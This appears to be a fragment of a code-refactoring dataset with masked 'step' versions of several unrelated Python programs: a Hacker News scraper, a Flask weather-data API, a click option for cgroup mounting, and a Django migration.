getAuthor(rowautor):\n authordict = {}\n for author in rowautor:\n authordict['autor'] = ''.join(author.xpath('./a[1]/text()'))\n return authordict\n for row in parsed_body.xpath('//tr'):\n rownews = row.xpath('./td[@class=\"title\"][2]')\n rowautor = row.xpath('./td[@class=\"subtext\"][1]')\n datadict = {}\n rowdata = {}\n if rownews:\n datadict = getNews(rownews)\n if rowautor:\n for author in rowautor:\n datadict = getAuthor(rowautor)\n if datadict:\n autor = ''\n try:\n title = datadict['title']\n url = datadict['url']\n site = datadict['site']\n except KeyError:\n autor = datadict['autor']\n if autor:\n rowdata['rownumber'] = str(rownumber)\n rowdata['title'] = str(title)\n rowdata['autor'] = str(autor)\n rowdata['url'] = str(url)\n rowdata['site'] = str(site)\n with open('nix.json', mode='a') as f:\n json.dump(rowdata, f)\n rownumber += 1\n if rownumber > 2:\n exit()\n return rownumber\n\n def __unicode__(self):\n return unicode(self.rowdata)\n <mask token>\n <mask token>\n <mask token>\n with open('nix.json', mode='w') as f:\n json.dump('', f)\n while pageflag:\n response = requests.get(pageparse)\n parsed_body = html.fromstring(response.text)\n rownumber = parsePage(parsed_body, rownumber) - 1\n pageparse = siteurl + getNextPage(pageparse)\n if pageparse == siteurl:\n pageflag = False\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass ycombinatorParser:\n siteurl = 'https://news.ycombinator.com/'\n\n def getNextPage(pageurl):\n response = requests.get(pageurl)\n parsed_body = html.fromstring(response.text)\n nextpage = parsed_body.xpath('//a[@class=\"morelink\"]')\n try:\n nexthref = nextpage[0].get('href')\n except IndexError:\n nexthref = ''\n return nexthref\n\n def parsePage(parsed_body, rownumber):\n\n def jsonWriteLine(rownumber, title, autor, url, site):\n line = (\n \"\"\"{\"Rownumber\": %d,\n \"title\": \"%s\",\n \"autor\": \"%s\",\n \"url\": \"%s\",\n \"site\": \"%s\",\n }\n\"\"\"\n % (rownumber, title, autor, url, site))\n return line\n\n def getNews(rownews):\n newsdict = {}\n for news in rownews:\n newsdict['title'] = ''.join(news.xpath('./a/text()'))\n for i in news.xpath('./a'):\n newsdict['url'] = i.get('href')\n newsdict['site'] = ''.join(news.xpath('./span/a/span/text()'))\n return newsdict\n\n def getAuthor(rowautor):\n authordict = {}\n for author in rowautor:\n authordict['autor'] = ''.join(author.xpath('./a[1]/text()'))\n return authordict\n for row in parsed_body.xpath('//tr'):\n rownews = row.xpath('./td[@class=\"title\"][2]')\n rowautor = row.xpath('./td[@class=\"subtext\"][1]')\n datadict = {}\n rowdata = {}\n if rownews:\n datadict = getNews(rownews)\n if rowautor:\n for author in rowautor:\n datadict = getAuthor(rowautor)\n if datadict:\n autor = ''\n try:\n title = datadict['title']\n url = datadict['url']\n site = datadict['site']\n except KeyError:\n autor = datadict['autor']\n if autor:\n rowdata['rownumber'] = str(rownumber)\n rowdata['title'] = str(title)\n rowdata['autor'] = str(autor)\n rowdata['url'] = str(url)\n rowdata['site'] = str(site)\n with open('nix.json', mode='a') as f:\n json.dump(rowdata, f)\n rownumber += 1\n if rownumber > 2:\n exit()\n return rownumber\n\n def __unicode__(self):\n return unicode(self.rowdata)\n pageflag = True\n rownumber = 1\n pageparse = siteurl\n with open('nix.json', mode='w') as f:\n json.dump('', f)\n while pageflag:\n response = requests.get(pageparse)\n parsed_body = html.fromstring(response.text)\n rownumber = parsePage(parsed_body, rownumber) - 1\n pageparse = siteurl + getNextPage(pageparse)\n if pageparse == siteurl:\n pageflag = False\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\nclass ycombinatorParser:\n siteurl = 'https://news.ycombinator.com/'\n\n def getNextPage(pageurl):\n response = requests.get(pageurl)\n parsed_body = html.fromstring(response.text)\n nextpage = parsed_body.xpath('//a[@class=\"morelink\"]')\n try:\n nexthref = nextpage[0].get('href')\n except IndexError:\n nexthref = ''\n return nexthref\n\n def parsePage(parsed_body, rownumber):\n\n def jsonWriteLine(rownumber, title, autor, url, site):\n line = (\n \"\"\"{\"Rownumber\": %d,\n \"title\": \"%s\",\n \"autor\": \"%s\",\n \"url\": \"%s\",\n \"site\": \"%s\",\n }\n\"\"\"\n % (rownumber, title, autor, url, site))\n return line\n\n def getNews(rownews):\n newsdict = {}\n for news in rownews:\n newsdict['title'] = ''.join(news.xpath('./a/text()'))\n for i in news.xpath('./a'):\n newsdict['url'] = i.get('href')\n newsdict['site'] = ''.join(news.xpath('./span/a/span/text()'))\n return newsdict\n\n def getAuthor(rowautor):\n authordict = {}\n for author in rowautor:\n authordict['autor'] = ''.join(author.xpath('./a[1]/text()'))\n return authordict\n for row in parsed_body.xpath('//tr'):\n rownews = row.xpath('./td[@class=\"title\"][2]')\n rowautor = row.xpath('./td[@class=\"subtext\"][1]')\n datadict = {}\n rowdata = {}\n if rownews:\n datadict = getNews(rownews)\n if rowautor:\n for author in rowautor:\n datadict = getAuthor(rowautor)\n if datadict:\n autor = ''\n try:\n title = datadict['title']\n url = datadict['url']\n site = datadict['site']\n except KeyError:\n autor = datadict['autor']\n if autor:\n rowdata['rownumber'] = str(rownumber)\n rowdata['title'] = str(title)\n rowdata['autor'] = str(autor)\n rowdata['url'] = str(url)\n rowdata['site'] = str(site)\n with open('nix.json', mode='a') as f:\n json.dump(rowdata, f)\n rownumber += 1\n if rownumber > 2:\n exit()\n return rownumber\n\n def __unicode__(self):\n return unicode(self.rowdata)\n pageflag = True\n rownumber = 1\n pageparse = siteurl\n with open('nix.json', mode='w') as f:\n json.dump('', f)\n while pageflag:\n response = requests.get(pageparse)\n parsed_body = html.fromstring(response.text)\n rownumber = parsePage(parsed_body, rownumber) - 1\n pageparse = siteurl + getNextPage(pageparse)\n if pageparse == siteurl:\n pageflag = False\n\n\nif __name__ == '__main__':\n ycombinatorParser()\n",
"step-4": "import requests\nimport csv\nfrom lxml import html\nimport json\n\n\nclass ycombinatorParser:\n siteurl = 'https://news.ycombinator.com/'\n\n def getNextPage(pageurl):\n response = requests.get(pageurl)\n parsed_body = html.fromstring(response.text)\n nextpage = parsed_body.xpath('//a[@class=\"morelink\"]')\n try:\n nexthref = nextpage[0].get('href')\n except IndexError:\n nexthref = ''\n return nexthref\n\n def parsePage(parsed_body, rownumber):\n\n def jsonWriteLine(rownumber, title, autor, url, site):\n line = (\n \"\"\"{\"Rownumber\": %d,\n \"title\": \"%s\",\n \"autor\": \"%s\",\n \"url\": \"%s\",\n \"site\": \"%s\",\n }\n\"\"\"\n % (rownumber, title, autor, url, site))\n return line\n\n def getNews(rownews):\n newsdict = {}\n for news in rownews:\n newsdict['title'] = ''.join(news.xpath('./a/text()'))\n for i in news.xpath('./a'):\n newsdict['url'] = i.get('href')\n newsdict['site'] = ''.join(news.xpath('./span/a/span/text()'))\n return newsdict\n\n def getAuthor(rowautor):\n authordict = {}\n for author in rowautor:\n authordict['autor'] = ''.join(author.xpath('./a[1]/text()'))\n return authordict\n for row in parsed_body.xpath('//tr'):\n rownews = row.xpath('./td[@class=\"title\"][2]')\n rowautor = row.xpath('./td[@class=\"subtext\"][1]')\n datadict = {}\n rowdata = {}\n if rownews:\n datadict = getNews(rownews)\n if rowautor:\n for author in rowautor:\n datadict = getAuthor(rowautor)\n if datadict:\n autor = ''\n try:\n title = datadict['title']\n url = datadict['url']\n site = datadict['site']\n except KeyError:\n autor = datadict['autor']\n if autor:\n rowdata['rownumber'] = str(rownumber)\n rowdata['title'] = str(title)\n rowdata['autor'] = str(autor)\n rowdata['url'] = str(url)\n rowdata['site'] = str(site)\n with open('nix.json', mode='a') as f:\n json.dump(rowdata, f)\n rownumber += 1\n if rownumber > 2:\n exit()\n return rownumber\n\n def __unicode__(self):\n return unicode(self.rowdata)\n pageflag = True\n rownumber = 1\n pageparse = siteurl\n with open('nix.json', mode='w') as f:\n json.dump('', f)\n while pageflag:\n response = requests.get(pageparse)\n parsed_body = html.fromstring(response.text)\n rownumber = parsePage(parsed_body, rownumber) - 1\n pageparse = siteurl + getNextPage(pageparse)\n if pageparse == siteurl:\n pageflag = False\n\n\nif __name__ == '__main__':\n ycombinatorParser()\n",
"step-5": "# -*- coding: utf-8 -*-\nimport requests\nimport csv\nfrom lxml import html\nimport json\n\nclass ycombinatorParser():\n siteurl = 'https://news.ycombinator.com/' \n\n def getNextPage(pageurl):\n response = requests.get(pageurl)\n parsed_body = html.fromstring(response.text)\n nextpage=parsed_body.xpath('//a[@class=\"morelink\"]')\n try:\n nexthref=nextpage[0].get('href')\n except IndexError:\n nexthref = ''\n return nexthref \n\n\n def parsePage(parsed_body,rownumber):\n def jsonWriteLine(rownumber,title,autor,url,site):\n line = '{\"Rownumber\": %d,\\n \"title\": \"%s\",\\n \"autor\": \"%s\",\\n \"url\": \"%s\",\\n \"site\": \"%s\",\\n }\\n' %(rownumber,title,autor,url,site)\n #print line\n return line\n\n def getNews(rownews):\n newsdict = {}\n for news in rownews:\n newsdict[\"title\"] = ''.join(news.xpath('./a/text()'))\n for i in news.xpath('./a'):\n newsdict[\"url\"] = i.get('href')\n newsdict[\"site\"] = ''.join(news.xpath('./span/a/span/text()'))\n return newsdict\n\n def getAuthor(rowautor):\n authordict = {}\n for author in rowautor:\n authordict[\"autor\"] = ''.join(author.xpath('./a[1]/text()'))\n return authordict\n\n for row in parsed_body.xpath('//tr'):\n rownews = row.xpath('./td[@class=\"title\"][2]')\n rowautor = row.xpath('./td[@class=\"subtext\"][1]')\n datadict = {}\n rowdata = {}\n if rownews:\n datadict = getNews(rownews)\n if rowautor:\n for author in rowautor:\n datadict = getAuthor(rowautor)\n\n if datadict:\n autor = ''\n try:\n title=datadict[\"title\"]\n url=datadict[\"url\"]\n site=datadict[\"site\"]\n except KeyError:\n autor = datadict[\"autor\"]\n\n if autor:\n rowdata['rownumber'] = str(rownumber)\n rowdata['title'] = str(title)\n rowdata['autor'] = str(autor)\n rowdata['url'] = str(url)\n rowdata['site'] = str(site)\n \n with open('nix.json',mode='a') as f:\n json.dump(rowdata,f)\n \n #outputfile.write(jsonWriteLine(rownumber,title,autor,url,site)) \n \n #print jsonWriteLine(rownumber,title,autor,url,site)\n rownumber += 1\n if rownumber>2:\n exit()\n return rownumber\n \n def __unicode__(self):\n return unicode(self.rowdata)\n \n pageflag = True\n rownumber = 1\n pageparse = siteurl\n with open('nix.json',mode='w') as f:\n json.dump('',f)\n while pageflag: \n response = requests.get(pageparse)\n parsed_body = html.fromstring(response.text) \n\n rownumber = parsePage(parsed_body,rownumber)-1\n\n pageparse = siteurl+getNextPage(pageparse)\n if pageparse == siteurl:\n pageflag = False\nif __name__ == '__main__':\n ycombinatorParser()",
"step-ids": [
3,
4,
5,
6,
7
]
}
|
[
3,
4,
5,
6,
7
] |
#dependencies go here
import numpy as np
import datetime as dt
from datetime import timedelta
import sqlalchemy
from sqlalchemy.ext.automap import automap_base
from sqlalchemy.orm import Session
from sqlalchemy import create_engine, func
from flask import Flask, jsonify
#Set up the engine to connect to HW8 database
postgresStr = ("postgresql://postgres:password@localhost:5432/HW8-sqlalchemy-vacation")
engine = create_engine(postgresStr)
# reflect existing tables/classes
Base = automap_base()
Base.prepare(engine, reflect=True)
# Save reference to the tables
Measurement = Base.classes.measurements
Station = Base.classes.station
# Flask Setup
app = Flask(__name__)
# Set up flask routes
@app.route("/")
def home():
"""List all available api routes."""
return (
f"Available Routes:<br/>"
f"/api/v1.0/precipitation<br/>"
f"/api/v1.0/stations<br/>"
f"/api/v1.0/tobs<br/>"
f"/api/v1.0/<start><br/>"
f"/api/v1.0/<start>/<end><br/>"
)
@app.route("/api/v1.0/precipitation")
def precip():
#Convert the query results to a Dictionary using `date` as the key and `prcp` as the value.
#Return the JSON representation of your dictionary.
# Create our session (link) from Python to the DB
session = Session(engine)
#query the db, get a list of all precip measurements and dates
results = session.query(Measurement.date, Measurement.prcp).all()
session.close()
# Convert list of tuples into normal list
precip = list(np.ravel(results))
return jsonify(precip)
@app.route("/api/v1.0/stations")
def stations():
#Return a JSON list of stations from the dataset
# Create our session (link) from Python to the DB
session = Session(engine)
#query the db, get a list of the stations and their respective names
results = session.query(Station.station, Station.name).all()
session.close()
# Convert list of tuples into normal list
stationlist = list(np.ravel(results))
return jsonify(stationlist)
#query for the dates and temperature observations from a year from the last data point.
# return a JSON list of Temperature Observations (tobs) for the previous year.
@app.route("/api/v1.0/tobs")
def tobs():
# Create our session (link) from Python to the DB
session = Session(engine)
#find the last date in the dataset, query the prior year's temperature observations
last = session.query(func.max(Measurement.date)).limit(1).all()
q_end = last[0][0].strftime("%Y-%m-%d")
q_start = (last[0][0]-dt.timedelta(days = 365)).strftime("%Y-%m-%d")
tobs_results = session.query(Measurement.date, Measurement.tobs).\
filter(Measurement.date < q_end).\
filter(Measurement.date >= q_start).all()
session.close()
# Convert list of tuples into normal list
tobslist = list(np.ravel(tobs_results))
return jsonify(tobslist)
@app.route("/api/v1.0/<start>")
def startonly(start):
# Create our session (link) from Python to the DB
session = Session(engine)
#find the last date in the dataset to use as an ending point for our temperature calculations
last = session.query(func.max(Measurement.date)).limit(1).all()
q_end = last[0][0].strftime("%Y-%m-%d")
stats = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\
filter(Measurement.date >= start).\
filter(Measurement.date <= q_end).all()
statslist = list(np.ravel(stats))
return jsonify({"StartDate":start,"EndDate":q_end,"TMIN": statslist[0],"TAVG":statslist[1],"TMAX":statslist[2]})
#Return a JSON list of the minimum temperature, the average temperature, and the max temperature for a given start or start-end range.
#When given the start only, calculate `TMIN`, `TAVG`, and `TMAX` for all dates greater than and equal to the start date.
@app.route("/api/v1.0/<start>/<end>")
def daterange(start,end):
# Create our session (link) from Python to the DB
session = Session(engine)
stats2 = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\
filter(Measurement.date >= start).\
filter(Measurement.date <= end).all()
statslist = list(np.ravel(stats2))
return jsonify({"StartDate":start,"EndDate":end,"TMIN": statslist[0],"TAVG":statslist[1],"TMAX":statslist[2]})
#Return a JSON list of the minimum temperature, the average temperature, and the max temperature for a given start or start-end range.
#When given the start and the end date, calculate the `TMIN`, `TAVG`, and `TMAX` for dates between the start and end date inclusive.
if __name__ == '__main__':
app.run(debug=True)
|
normal
|
{
"blob_id": "7ab964352c1d51b70e3a1a7bf0a624f2d96cfd55",
"index": 8168,
"step-1": "<mask token>\n\n\n@app.route('/')\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return (\n f'Available Routes:<br/>/api/v1.0/precipitation<br/>/api/v1.0/stations<br/>/api/v1.0/tobs<br/>/api/v1.0/<start><br/>/api/v1.0/<start>/<end><br/>'\n )\n\n\n<mask token>\n\n\n@app.route('/api/v1.0/tobs')\ndef tobs():\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n q_start = (last[0][0] - dt.timedelta(days=365)).strftime('%Y-%m-%d')\n tobs_results = session.query(Measurement.date, Measurement.tobs).filter(\n Measurement.date < q_end).filter(Measurement.date >= q_start).all()\n session.close()\n tobslist = list(np.ravel(tobs_results))\n return jsonify(tobslist)\n\n\n@app.route('/api/v1.0/<start>')\ndef startonly(start):\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n stats = session.query(func.min(Measurement.tobs), func.avg(Measurement.\n tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= q_end).all()\n statslist = list(np.ravel(stats))\n return jsonify({'StartDate': start, 'EndDate': q_end, 'TMIN': statslist\n [0], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\n@app.route('/')\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return (\n f'Available Routes:<br/>/api/v1.0/precipitation<br/>/api/v1.0/stations<br/>/api/v1.0/tobs<br/>/api/v1.0/<start><br/>/api/v1.0/<start>/<end><br/>'\n )\n\n\n@app.route('/api/v1.0/precipitation')\ndef precip():\n session = Session(engine)\n results = session.query(Measurement.date, Measurement.prcp).all()\n session.close()\n precip = list(np.ravel(results))\n return jsonify(precip)\n\n\n@app.route('/api/v1.0/stations')\ndef stations():\n session = Session(engine)\n results = session.query(Station.station, Station.name).all()\n session.close()\n stationlist = list(np.ravel(results))\n return jsonify(stationlist)\n\n\n@app.route('/api/v1.0/tobs')\ndef tobs():\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n q_start = (last[0][0] - dt.timedelta(days=365)).strftime('%Y-%m-%d')\n tobs_results = session.query(Measurement.date, Measurement.tobs).filter(\n Measurement.date < q_end).filter(Measurement.date >= q_start).all()\n session.close()\n tobslist = list(np.ravel(tobs_results))\n return jsonify(tobslist)\n\n\n@app.route('/api/v1.0/<start>')\ndef startonly(start):\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n stats = session.query(func.min(Measurement.tobs), func.avg(Measurement.\n tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= q_end).all()\n statslist = list(np.ravel(stats))\n return jsonify({'StartDate': start, 'EndDate': q_end, 'TMIN': statslist\n [0], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\n@app.route('/api/v1.0/<start>/<end>')\ndef daterange(start, end):\n session = Session(engine)\n stats2 = session.query(func.min(Measurement.tobs), func.avg(Measurement\n .tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= end).all()\n statslist = list(np.ravel(stats2))\n return jsonify({'StartDate': start, 'EndDate': end, 'TMIN': statslist[0\n ], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\n<mask token>\n",
"step-3": "<mask token>\nBase.prepare(engine, reflect=True)\n<mask token>\n\n\n@app.route('/')\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return (\n f'Available Routes:<br/>/api/v1.0/precipitation<br/>/api/v1.0/stations<br/>/api/v1.0/tobs<br/>/api/v1.0/<start><br/>/api/v1.0/<start>/<end><br/>'\n )\n\n\n@app.route('/api/v1.0/precipitation')\ndef precip():\n session = Session(engine)\n results = session.query(Measurement.date, Measurement.prcp).all()\n session.close()\n precip = list(np.ravel(results))\n return jsonify(precip)\n\n\n@app.route('/api/v1.0/stations')\ndef stations():\n session = Session(engine)\n results = session.query(Station.station, Station.name).all()\n session.close()\n stationlist = list(np.ravel(results))\n return jsonify(stationlist)\n\n\n@app.route('/api/v1.0/tobs')\ndef tobs():\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n q_start = (last[0][0] - dt.timedelta(days=365)).strftime('%Y-%m-%d')\n tobs_results = session.query(Measurement.date, Measurement.tobs).filter(\n Measurement.date < q_end).filter(Measurement.date >= q_start).all()\n session.close()\n tobslist = list(np.ravel(tobs_results))\n return jsonify(tobslist)\n\n\n@app.route('/api/v1.0/<start>')\ndef startonly(start):\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n stats = session.query(func.min(Measurement.tobs), func.avg(Measurement.\n tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= q_end).all()\n statslist = list(np.ravel(stats))\n return jsonify({'StartDate': start, 'EndDate': q_end, 'TMIN': statslist\n [0], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\n@app.route('/api/v1.0/<start>/<end>')\ndef daterange(start, end):\n session = Session(engine)\n stats2 = session.query(func.min(Measurement.tobs), func.avg(Measurement\n .tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= end).all()\n statslist = list(np.ravel(stats2))\n return jsonify({'StartDate': start, 'EndDate': end, 'TMIN': statslist[0\n ], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"step-4": "import numpy as np\nimport datetime as dt\nfrom datetime import timedelta\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\nfrom flask import Flask, jsonify\npostgresStr = (\n 'postgresql://postgres:password@localhost:5432/HW8-sqlalchemy-vacation')\nengine = create_engine(postgresStr)\nBase = automap_base()\nBase.prepare(engine, reflect=True)\nMeasurement = Base.classes.measurements\nStation = Base.classes.station\napp = Flask(__name__)\n\n\n@app.route('/')\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return (\n f'Available Routes:<br/>/api/v1.0/precipitation<br/>/api/v1.0/stations<br/>/api/v1.0/tobs<br/>/api/v1.0/<start><br/>/api/v1.0/<start>/<end><br/>'\n )\n\n\n@app.route('/api/v1.0/precipitation')\ndef precip():\n session = Session(engine)\n results = session.query(Measurement.date, Measurement.prcp).all()\n session.close()\n precip = list(np.ravel(results))\n return jsonify(precip)\n\n\n@app.route('/api/v1.0/stations')\ndef stations():\n session = Session(engine)\n results = session.query(Station.station, Station.name).all()\n session.close()\n stationlist = list(np.ravel(results))\n return jsonify(stationlist)\n\n\n@app.route('/api/v1.0/tobs')\ndef tobs():\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n q_start = (last[0][0] - dt.timedelta(days=365)).strftime('%Y-%m-%d')\n tobs_results = session.query(Measurement.date, Measurement.tobs).filter(\n Measurement.date < q_end).filter(Measurement.date >= q_start).all()\n session.close()\n tobslist = list(np.ravel(tobs_results))\n return jsonify(tobslist)\n\n\n@app.route('/api/v1.0/<start>')\ndef startonly(start):\n session = Session(engine)\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime('%Y-%m-%d')\n stats = session.query(func.min(Measurement.tobs), func.avg(Measurement.\n tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= q_end).all()\n statslist = list(np.ravel(stats))\n return jsonify({'StartDate': start, 'EndDate': q_end, 'TMIN': statslist\n [0], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\n@app.route('/api/v1.0/<start>/<end>')\ndef daterange(start, end):\n session = Session(engine)\n stats2 = session.query(func.min(Measurement.tobs), func.avg(Measurement\n .tobs), func.max(Measurement.tobs)).filter(Measurement.date >= start\n ).filter(Measurement.date <= end).all()\n statslist = list(np.ravel(stats2))\n return jsonify({'StartDate': start, 'EndDate': end, 'TMIN': statslist[0\n ], 'TAVG': statslist[1], 'TMAX': statslist[2]})\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"step-5": "#dependencies go here\nimport numpy as np\nimport datetime as dt\nfrom datetime import timedelta\n\n\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import create_engine, func\n\nfrom flask import Flask, jsonify\n\n\n\n\n#Set up the engine to connect to HW8 database\npostgresStr = (\"postgresql://postgres:password@localhost:5432/HW8-sqlalchemy-vacation\")\nengine = create_engine(postgresStr)\n\n# reflect existing tables/classes\nBase = automap_base()\nBase.prepare(engine, reflect=True)\n\n# Save reference to the tables\nMeasurement = Base.classes.measurements\nStation = Base.classes.station\n\n# Flask Setup\napp = Flask(__name__)\n\n# Set up flask routes\n@app.route(\"/\")\ndef home():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Available Routes:<br/>\"\n f\"/api/v1.0/precipitation<br/>\"\n f\"/api/v1.0/stations<br/>\"\n f\"/api/v1.0/tobs<br/>\"\n f\"/api/v1.0/<start><br/>\"\n f\"/api/v1.0/<start>/<end><br/>\"\n )\n\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precip():\n \n #Convert the query results to a Dictionary using `date` as the key and `prcp` as the value.\n #Return the JSON representation of your dictionary.\n \n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n #query the db, get a list of all precip measurements and dates\n results = session.query(Measurement.date, Measurement.prcp).all()\n\n session.close()\n\n # Convert list of tuples into normal list\n precip = list(np.ravel(results))\n return jsonify(precip)\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n \n #Return a JSON list of stations from the dataset\n \n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n #query the db, get a list of the stations and their respective names\n results = session.query(Station.station, Station.name).all()\n\n session.close()\n\n # Convert list of tuples into normal list\n stationlist = list(np.ravel(results))\n return jsonify(stationlist)\n\n#query for the dates and temperature observations from a year from the last data point.\n# return a JSON list of Temperature Observations (tobs) for the previous year.\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n \n # Create our session (link) from Python to the DB\n session = Session(engine)\n\n \n #find the last date in the dataset, query the prior year's temperature observations\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime(\"%Y-%m-%d\")\n q_start = (last[0][0]-dt.timedelta(days = 365)).strftime(\"%Y-%m-%d\")\n \n tobs_results = session.query(Measurement.date, Measurement.tobs).\\\n filter(Measurement.date < q_end).\\\n filter(Measurement.date >= q_start).all()\n \n session.close()\n\n # Convert list of tuples into normal list\n tobslist = list(np.ravel(tobs_results))\n \n return jsonify(tobslist)\n\n@app.route(\"/api/v1.0/<start>\")\ndef startonly(start):\n \n # Create our session (link) from Python to the DB\n session = Session(engine)\n \n #find the last date in the dataset to use as an ending point for our temperature calculations\n last = session.query(func.max(Measurement.date)).limit(1).all()\n q_end = last[0][0].strftime(\"%Y-%m-%d\")\n \n stats = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= q_end).all()\n\n statslist = list(np.ravel(stats))\n \n return jsonify({\"StartDate\":start,\"EndDate\":q_end,\"TMIN\": statslist[0],\"TAVG\":statslist[1],\"TMAX\":statslist[2]})\n\n #Return a JSON list of the minimum temperature, the average temperature, and the max temperature for a given start or start-end range.\n #When given the start only, calculate `TMIN`, `TAVG`, and `TMAX` for all dates greater than and equal to the start date.\n\n@app.route(\"/api/v1.0/<start>/<end>\")\ndef daterange(start,end):\n \n # Create our session (link) from Python to the DB\n session = Session(engine)\n \n stats2 = session.query(func.min(Measurement.tobs), func.avg(Measurement.tobs), func.max(Measurement.tobs)).\\\n filter(Measurement.date >= start).\\\n filter(Measurement.date <= end).all()\n\n statslist = list(np.ravel(stats2))\n \n return jsonify({\"StartDate\":start,\"EndDate\":end,\"TMIN\": statslist[0],\"TAVG\":statslist[1],\"TMAX\":statslist[2]})\n\n #Return a JSON list of the minimum temperature, the average temperature, and the max temperature for a given start or start-end range.\n #When given the start and the end date, calculate the `TMIN`, `TAVG`, and `TMAX` for dates between the start and end date inclusive.\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n",
"step-ids": [
3,
6,
7,
9,
10
]
}
|
[
3,
6,
7,
9,
10
] |
"""
Mount /sys/fs/cgroup Option
"""
from typing import Callable
import click
def cgroup_mount_option(command: Callable[..., None]) -> Callable[..., None]:
"""
Option for choosing to mount `/sys/fs/cgroup` into the container.
"""
function = click.option(
'--mount-sys-fs-cgroup/--no-mount-sys-fs-cgroup',
default=True,
show_default=True,
help=(
'Mounting ``/sys/fs/cgroup`` from the host is required to run '
'applications which require ``cgroup`` isolation. '
'Choose to not mount ``/sys/fs/cgroup`` if it is not available on '
'the host.'
),
)(command) # type: Callable[..., None]
return function
|
normal
|
{
"blob_id": "237f5e2e37187e26b5628032e37d3a525ef72b9a",
"index": 7261,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef cgroup_mount_option(command: Callable[..., None]) ->Callable[..., None]:\n \"\"\"\n Option for choosing to mount `/sys/fs/cgroup` into the container.\n \"\"\"\n function = click.option('--mount-sys-fs-cgroup/--no-mount-sys-fs-cgroup',\n default=True, show_default=True, help=\n 'Mounting ``/sys/fs/cgroup`` from the host is required to run applications which require ``cgroup`` isolation. Choose to not mount ``/sys/fs/cgroup`` if it is not available on the host.'\n )(command)\n return function\n",
"step-3": "<mask token>\nfrom typing import Callable\nimport click\n\n\ndef cgroup_mount_option(command: Callable[..., None]) ->Callable[..., None]:\n \"\"\"\n Option for choosing to mount `/sys/fs/cgroup` into the container.\n \"\"\"\n function = click.option('--mount-sys-fs-cgroup/--no-mount-sys-fs-cgroup',\n default=True, show_default=True, help=\n 'Mounting ``/sys/fs/cgroup`` from the host is required to run applications which require ``cgroup`` isolation. Choose to not mount ``/sys/fs/cgroup`` if it is not available on the host.'\n )(command)\n return function\n",
"step-4": "\"\"\"\nMount /sys/fs/cgroup Option\n\"\"\"\n\nfrom typing import Callable\n\nimport click\n\n\ndef cgroup_mount_option(command: Callable[..., None]) -> Callable[..., None]:\n \"\"\"\n Option for choosing to mount `/sys/fs/cgroup` into the container.\n \"\"\"\n function = click.option(\n '--mount-sys-fs-cgroup/--no-mount-sys-fs-cgroup',\n default=True,\n show_default=True,\n help=(\n 'Mounting ``/sys/fs/cgroup`` from the host is required to run '\n 'applications which require ``cgroup`` isolation. '\n 'Choose to not mount ``/sys/fs/cgroup`` if it is not available on '\n 'the host.'\n ),\n )(command) # type: Callable[..., None]\n return function\n",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
# Generated by Django 3.1.1 on 2020-10-29 13:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('registered_user', '0005_auto_20201029_1710'),
]
operations = [
migrations.AlterField(
model_name='user_details',
name='dateofbirth',
field=models.DateField(null=True),
),
]
|
normal
|
{
"blob_id": "f2c96b3133137019dc6bd462f096f3b4c5f12648",
"index": 6635,
"step-1": "<mask token>\n",
